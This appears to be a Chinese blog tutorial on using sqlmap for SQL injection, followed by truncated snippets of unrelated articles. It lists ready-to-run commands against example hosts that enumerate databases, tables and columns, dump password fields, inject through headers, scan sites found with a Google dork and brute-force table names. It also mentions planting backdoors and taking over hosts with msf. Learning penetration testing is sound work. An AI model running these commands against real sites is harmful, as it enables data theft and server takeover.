当前位置: 首页 > news >正文

sqlmap基础知识

一、sqlmap简介

sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接管数据库服务器的过程。

官网:

sqlmap.org

核心功能

  • 漏洞检测
  • 漏洞利用

学习关键点

  • 基于sqlmap进行sql注入漏洞的检测,注入利用和攻击
  • 基于sqlmap进行高权限情况下的文件读写
  • 基于sqlmap进行高权限情况下的联合msf实现远程主机上线

sqlmap支持的数据库类型

MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,
SQLite,Firebird,MySQL,SAP MaxDB,Informix,MariaDB,MemSQL,TiDB,
CockroachDB,HSQLDB,H2,MonetDB,Apache Derby,Amazon Redshift,Vertica,
Mckoi,Presto,Altibase,MimerSQL,CrateDB,Greenplum,Drizzle,Apache Apache
Apache Xerite,Cubrid,InterSystems Cache,IRIS,eXtremeDB,FrontBase,Raima
Database Manager,YugabyteDB,ClickHouse和Virtuoso数据库管理系统。

主要是支持关系型数据库,不支持NoSQL

支持六种SQL注入技术

  1. 基于布尔的盲注
  2. 基于时间的盲注
  3. 基于错误的盲注
  4. 基于UNION查询
  5. 堆栈查询
  6. 带外查询

sqlmap支持数据库直连

  • 通过提供DBMS凭证、IP地址、端口和数据库名称,支持直接连接到数据库,而无需通过SQL注入
  • DBMS:
    • DB database,M:Management,S:System
    • 像mysql、oracle都是数据库管理系统

sqlmap的特性

  • 自动识别密码哈希格式,并支持使用基于字典的攻击来破解他们【暴力破解】

sqlmap的代理功能

  • 通过设置代理,可以实现控制发包评率,防止速度太快被加入黑名单
  • 在代理中可以加载一些脚本,通过脚本可以实现对某个例如预编码,以此来绕过服务端的一些防注入机制,例如绕过敏感字符过滤

二、使用sqlmap的流程

第一步:判断目标网站是否存在漏洞和数据库类型【mysql、oracle、db2....】

第二步:判断用户权限类型【检测是否为高权限用户】

如果为高权限用户,那么不需要再进行数据库猜解,因为可以直接进行读写操作,也就是可以直接写入后门程序,通过程序可以直接获取目标主机的控制权

注意:不是说高权限用户就一定可以进行写操作

第三步:找库名

第四步:找表名

第五步:找字段

第六步:找数据

注意:进行sql注入的核心目的

目的1:获取数据

目的2:获取服务器的控制权

注意:

用sqlmap进行注入的时候,有可能结果是不准确的,例如扫描发现没有漏洞 或者 本来是管理员权限,但是扫描结果提示是普通权限

如果出现这种情况,就需要手动调整注入参数,或者进行手工注入

三、sqlmap的常用参数

3.1 sqlmap对指定目标进行检测

方法1:-u 目url

格式:sqlmap -u "http://www.php001.com/index.php?id=1"

注意:这种方式进行测试的时候,服务端收到的客户端信息 (UA refer ip) 都是客户端自己的

补充:sqlmap -u "网址" 得到的信息包括

结束以后会得到该网站的数据库、操作系统、服务器等版本信息

如果存在漏洞可以使用以下命令注出当前网站下所有的数据库名

sqlmap -u "网址" --dbs                                注出指定数据库下的所有库名
sqlmap -u "网址" -D 数据库名 --tables                  注出指定数据库指定表下所有列信息
sqlmap -u "网址" -D 数据库名 -T 表名 --columns         注出所有指定字段名
sqlmap -u "网址" -D 数据库名 -T 表名 -C 列名 --dump    显示数据在任意环节使用--dumps,可以将所有数据注出,如指定数据库使用,注出所有数据库下的所有表的所有字段信息

方法2:-r 从文本文件中读取HTTP请求作为sql注入探测的目标

格式:sqlmap -r test.txt(bp导出请求的数据文件)
使用场景:
1. 某些网站的页面必须先登录才能进行测试,那么就必须通过本方法,这是因为在请求数据包当中有当初登录网站时候的cookie\session信息
2. 某些网站限制客户端的来源: 来源域名、来源ip、这种情况下进行注入,也需要通过这种读取数据包的方式进行

指定数据包注入,从文件读取HTTP请求,GET和POST都可以,可以用-p传入注入的参数

sqlmap -r "burp.txt" -p "username"     # -p 指定存在注入的参数

这里的txt文件就是完整的http请求包

可以使用 -p 指定参数,也可以在txt文件中使用*(星号)定位

方法3:-m从多行文本格式文件读取多个目标,对多个目标进行探测

格式:sqlmap -m test.txt(自写的url)

方法4:-l 从Burpsuite proxy或WebScarab proxy中读取http请求日志文件

格式: sqlmap -l test(bp导出文件)

方法5:-x 从sitemap.xml站点地图文件中读取目标探测。

方法6:-C 从配置文件sqlmap.conf中读取目标探测

sqlmap 结合 google 搜索特定url,进行批量扫描注入,这里需要利用google hack语法进行扫描

案例:sqlmap -g "inurl:\.php?id=1\""

sqlmap设置http请求方法

--method=get | post

案例1:基于post方式发送请求
sqlmap -u 'http://www.php001.com/index.php' --data="id=1"案例2:基于get方式发送请求
sqlmap -u 'http://www.php001.ocm/index.php?id=1'

sqlmap设置cookie头

--cookie

--cookie-del

--load-cookies

--drop-sel-cookie

3.2 注入案例

1. GET 参数注入

sqlmap -u 'http://www.php001.com/index.php?id=1'

2. POST 参数注入

sqlmap -u 'http://www.php001.com/index.php' --data="id=1"

3. cookie 注入(level>=2时才会检测cookie)

sqlmap -u "http://www.php001.com/index.php?id=1" --level 2

4. user-agent注入

sqlmap -u "http://www.php001.com/index.php?id=1" --level 3

5. referer注入

sqlmap -u "http://www.php001.com/index.php?id=1" --level 3

6. host注入

sqlmap -u "http://www.php001.com/index.php?id=1" --level 5

7. 延时注入

当防火墙对请求速度做了限制,在每个HTTP请求之间延迟10秒
sqlmap -u "http://www.php001.com/index.php?id=1" --delay=10

8. 伪静态注入

sqpmap -u http://victim.com/id/666*.html --dbs   # 在html扩展名前加个'*"

3.3 获取数据库信息

1. 查看数据库

sqlmap -u "http://www.php001.com/index.php?id=1" --dbs --batch
参数
--dbs: 显示所有的数据库的库名
--batch: 避免用户交互

2. 查看数据库里面的表

sqlmap -u "http://www.php001.com/index.php?id=1" --D security --tables --batch
参数:
--D security: 指定查看这个 库中的所有表
--tables: 指定显示表名
--batch: 避免用户交互

3. 查看数据库表里面的列/字段

sqlmap -u "http://www.php001.com/index.php?id=1" --D security --T users --columns --batch
参数:
--D security: 指定查看这个 库中的表
--T users: 指定查看user表中的所有的字段名
--columns: 显示表中的字段名
--batch: 避免用户交互

4. 查看数据库列里面的具体的值

sqlmap -u "http://www.php001.com/index.php?id=1" --D security --T users -C password --dump --batch
参数
--D security: 指定查看这个库中的表
--T users: 指定查看user表中的所以的字段名
-C password: 显示 password 字段中的数据
--dump: 显示数据
--batch: 避免用户交互

3.4 暴力破解

使用条件/背景

1. MySQL数据库版本小于5.0,没有information_schema表

2. Microsoft Access数据库

3. 当前用户没有权限读取系统中保存的数据

暴力破解中破解表名的文件位于common-tables.txt 中,同理破解列名的文件位于common-columns.txt 中

1. 暴力破解表名

sqlmap -u "http://www.php001.com/index.php?id=1" -D security --common-tables --batch

2. 暴力破解列名

sqlmap -u "http://www.php001.com/index.php?id=1" -D security -T users --common-columns --batch

相关文章:

sqlmap基础知识

一、sqlmap简介 sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接管数据库服务器的过程。 官网: sqlmap.org 核心功能 漏洞检测漏洞利用 学习关键点 基于sqlmap进行sql注入漏洞的检测,注入利用和攻击基于sqlmap进…...

读《C Primer Plus》

1、汇编语言是为特殊的中央处理单元设计的一系列内部指令,使用助记符来表示;不同的CPU系列使用不同的汇编语言。 2、C语言充分利用计算机优势,使它具有汇编语言才有的微调控能力,可移植性极好。 3、C语言可以访问硬件、操作内存…...

深入理解计算机系统 家庭作业 2.66

/* 前置条件:无符号整数右移不产生1 调用函数是为了可以查看整个过程,不影响结果. 思路是让x在右移的过程中,把最高位之前的位全部填满. 填满后的结果右移一位(即x的最高位变为0,其他为1),再异或x得到最高位 以此类推知道覆盖到32位. */ #include <stdio.h> #inclu…...

【服务端】node.js详细的配置

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-曼亿点 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 曼亿点 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a…...

二、CentOS基础配置(1.网络与包管理)

文章目录 二、基础配置操作1、网络管理&#xff08;配置静态地址并进行ssh远程连接&#xff09;&#xff08;1.&#xff09;静态地址配置&#xff08;2.&#xff09;IP配置注释&#xff08;3.&#xff09;配置SSH远程连接 2、包管理&#xff08;1.&#xff09;yum软件包管理器1…...

Golang基础-5

Go语言基础 介绍 基础 切片 切片声明 切片初始化 切片基础操作 多维切片 介绍 本文介绍Go语言中切片(slice)(切片声明、切片初始化、切片基础操作、多维切片)等相关知识。 基础 切片 切片&#xff08;slice&#xff09;是对数组的一个连续片段的引用&#xff0c;切…...

Mysql数据库:故障分析与配置优化

目录 前言 一、Mysql逻辑架构图 二、Mysql单实例常见故障 1、无法通过套接字连接到本地MySQL服务器 2、用户rootlocalhost访问被拒绝 3、远程连接数据库时连接很慢 4、无法打开以MYI结尾的索引文件 5、超出最大连接错误数量限制 6、连接过多 7、配置文件/etc/my.cnf权…...

常见的图像分析算法

图像分析算法是计算机视觉领域中的一个重要分支&#xff0c;它通过使用预先训练的人工智能模型从图像中提取和分析视觉信息。这些算法可以应用于多种场景&#xff0c;如物体识别、图像分类、图像增强、缺陷检测等。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司…...

朵米3.5客服系统源码,附带系统搭建教程

朵米客服系统是一款全功能的客户服务解决方案&#xff0c;提供多渠道支持&#xff08;如在线聊天、邮件、电话等&#xff09;&#xff0c;帮助企业建立与客户的实时互动。该系统具有智能分流功能&#xff0c;可以快速将客户请求分配给适当的客服人员&#xff0c;提高工作效率。…...

Python 踩坑记

前言 回归 Python 栈&#xff0c;相较 Go 的 Coding&#xff0c;Python 确实偏向复杂&#xff0c;看似编码方便快捷的背后&#xff0c;是越来越庞杂的细枝末节&#xff0c;稍不注意就是偏差。如果项目只是“能跑就行”&#xff0c;那大概率遍地是坑。开启踩坑记&#xff5e; …...

搭建Spark单机版环境

在搭建Spark单机版环境的实战中&#xff0c;首先确保已经安装并配置好了JDK。然后&#xff0c;从群共享下载Spark安装包&#xff0c;并将其上传至目标主机的/opt目录。接着&#xff0c;解压Spark安装包至/usr/local目录&#xff0c;并配置Spark的环境变量&#xff0c;以确保系统…...

使用Flutter混淆技术保护应用隐私与数据安全

在移动应用开发中&#xff0c;保护应用代码安全至关重要。Flutter 提供了简单易用的混淆工具&#xff0c;帮助开发者在构建 release 版本应用时有效保护代码。本文将介绍如何在 Flutter 应用中使用混淆&#xff0c;并提供了相关的操作步骤和注意事项。 &#x1f4dd; 摘要 本…...

ClickHouse初体验

1.clickHouse是啥&#xff1f; ClickHouse 是俄罗斯的 Yandex 于 2016 年开源的列式存储数据库(DBMS)&#xff0c;使用 C语言编写&#xff0c;主要用于在线分析处理查询(OLAP)&#xff0c;能够使用SQL查询实时生成分析数据报告 2.clickHouse的特点 2.1列式存储 对于列的聚合&…...

在k8s中部署高可用程序实践和资源治理

在k8s中部署高可用程序实践 1. 多副本部署1.1. 副本数量1.2. 更新策略1.3. 跨节点的统一副本分布1.4. 优先级1.5. 停止容器中的进程1.6. 预留资源 2. 探针2.1. 活性探针&#xff08;liveness probes&#xff09;2.2. 就绪探针&#xff08;Readiness probe&#xff09;2.3. 启动…...

WebView的使用与后退键处理-嵌入小程序或者 H5 页面

在使用 WebView 嵌入小程序或者 H5 页面时&#xff0c;通常会涉及到处理后退键的操作。在 Android 平台上&#xff0c;可以通过 WebView 的相关方法来实现后退键的处理。你可以按照以下步骤来实现&#xff1a; 在 Activity 或 Fragment 中找到 WebView 控件&#xff0c;并为其…...

【攻防世界】file_include (PHP伪协议+过滤器)

打开题目环境&#xff1a; 进行PHP代码审计&#xff0c;发现这是一个文件包含漏洞。 我们尝试利用PHP伪协议中的 php://filter来读取 check.php 中的内容。 构造payload 并提交&#xff1a; 发现payload被过滤掉了&#xff0c;我们就需要尝试使用不同的转换器。 PHP各类转换…...

Linux 内核中PHY子系统(网络):PHY驱动

一. 简介 PHY 子系统就是用于 PHY 设备相关内容的&#xff0c;分为 PHY 设备和 PHY 驱动&#xff0c;和 platform 总线一样&#xff0c;PHY 子系统也是一个设备、总线和驱动模型。 前面一篇文章学习了 PHY子系统中的 PHY设备。文章如下&#xff1a; Linux 内核中PHY子系统(网…...

【六 (1)机器学习-机器学习算法简介】

目录 文章导航一、机器学习二、基于学习方式的分类三、监督学习常见类型四、无监督学习常见类型五、强化学习常见分类 文章导航 【一 简明数据分析进阶路径介绍&#xff08;文章导航&#xff09;】 一、机器学习 机器学习是一门多领域交叉学科&#xff0c;涉及概率论、统计学…...

TCP服务端主动向客户端发送数据

C TCP 服务端和客户端通信的例子 在此基础上&#xff0c;要修改服务端代码&#xff0c;使其能够每秒向客户端发送当前时间&#xff0c;你需要添加一个循环&#xff0c;每次循环发送当前时间给客户端。同时&#xff0c;你需要在客户端代码中添加接收服务端发送的数据的逻辑。 …...

ObjectiveC-03-XCode的使用和基础数据类型

本节做为Objective-C的入门课程&#xff0c;笔者会从零基础开始介绍这种程序设计语言的各个方面。 术语 ObjeC&#xff1a;Objective-C的简称&#xff0c;因为完整的名称过长&#xff0c;后续会经缩写来代替&#xff1b;项目/工程&#xff1a;也称工程&#xff0c;指的是一个A…...

终极指南:Sunshine开源游戏串流服务器完整配置与实战应用

终极指南&#xff1a;Sunshine开源游戏串流服务器完整配置与实战应用 【免费下载链接】Sunshine Self-hosted game stream host for Moonlight. 项目地址: https://gitcode.com/GitHub_Trending/su/Sunshine Sunshine是一款功能强大的自托管游戏串流服务器&#xff0c;专…...

SolidWorks 2021建模技巧:用‘拉伸切除’和‘多轮廓草图’高效搞定PCB屏蔽腔设计

SolidWorks 2021建模效率革命&#xff1a;多轮廓草图与拉伸切除在PCB屏蔽设计中的高阶应用 当你在设计一块需要严格电磁屏蔽的PCB时&#xff0c;那些看似简单的腔体结构往往会成为消耗你大量时间的"黑洞"。传统的单轮廓草图拉伸方式不仅操作繁琐&#xff0c;更会在后…...

软考高项备考重点考点18:项目绩效域

一、历年真题分布 2023年5月 选择题3分 2023年11月 选择题3分 案例5分第1批,15分第3批,5分第4批 论文 75分 第2批 2024年5月 选择题3分 案例10分 第2批 2025年5月 选择题2分 论文 75分 第1批、第2批 二、备考重点…...

PICAXE单片机驱动DS18B20温度传感器:从硬件连接到数据处理

1. 项目概述&#xff1a;用PICAXE玩转DS18B20数字温度传感器如果你手头有一块PICAXE单片机&#xff0c;想快速实现一个温度监测项目&#xff0c;那么DS18B20这颗数字温度传感器绝对是你的绝佳拍档。它只需要一根数据线就能和MCU通信&#xff0c;抗干扰能力强&#xff0c;还能通…...

PortAudio性能测试与调优:如何实现最低延迟音频处理的完整指南

PortAudio性能测试与调优&#xff1a;如何实现最低延迟音频处理的完整指南 【免费下载链接】portaudio PortAudio is a cross-platform, open-source C language library for real-time audio input and output. 项目地址: https://gitcode.com/gh_mirrors/po/portaudio …...

DevOps 与 CI/CD 实战心得:静态网站的自动化部署

背景 自己做了一个独立站项目&#xff0c;访问地址是&#xff1a;https://www.wslwf.com 通过这次实践&#xff0c;对 DevOps 和 CI/CD 在静态网站场景中的应用有了更深的理解。 核心体会 1. 工具链选择至关重要 这次项目使用了 GitHub Actions GitHub Pages&#xff0c;这个组…...

中国地址生成器:快速生成真实地址数据的开发者利器

中国地址生成器&#xff1a;快速生成真实地址数据的开发者利器 【免费下载链接】chinese-address-generator 中国地址生成器 - 三级地址 四级地址 随机生成完整地址 项目地址: https://gitcode.com/gh_mirrors/ch/chinese-address-generator 在开发测试、数据填充、表单…...

D26: 向下负责——保护团队免受 AI 焦虑影响

文章目录 D26: 向下负责——保护团队免受 AI 焦虑影响 🎯 为什么这个话题重要? 现实痛点:团队 AI 焦虑的三种表现 一个真实场景 一、理解 AI 焦虑的本质 1.1 焦虑从何而来? 1.2 焦虑的恶性循环 1.3 一个心理学视角 二、建立团队心理安全网 2.1 心理安全:团队韧性的基石 2…...

企业微信消息发送踩坑实录:.NET Core下处理AccessToken过期与消息安全的最佳实践

企业微信消息发送实战&#xff1a;.NET Core中的AccessToken管理与消息安全策略 当企业微信API集成到生产环境时&#xff0c;开发者常会遇到两个看似简单却暗藏玄机的问题&#xff1a;AccessToken突然失效导致消息发送失败&#xff0c;以及敏感信息传输时的安全风险。本文将分享…...

Avogadro 2:3分钟掌握跨平台分子建模的5大核心价值

Avogadro 2&#xff1a;3分钟掌握跨平台分子建模的5大核心价值 【免费下载链接】avogadroapp Avogadro is an advanced molecular editor designed for cross-platform use in computational chemistry, molecular modeling, bioinformatics, materials science, and related a…...